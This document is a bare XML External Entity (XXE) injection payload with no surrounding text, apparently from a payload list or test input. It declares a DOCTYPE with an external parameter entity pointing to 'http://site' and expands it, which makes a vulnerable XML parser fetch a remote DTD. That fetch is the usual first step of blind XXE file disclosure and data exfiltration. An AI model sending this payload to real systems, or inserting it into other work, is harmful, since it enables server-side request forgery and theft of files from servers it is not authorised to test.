<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE update [
<!ENTITY % xxe SYSTEM "http://site">
%xxe;]>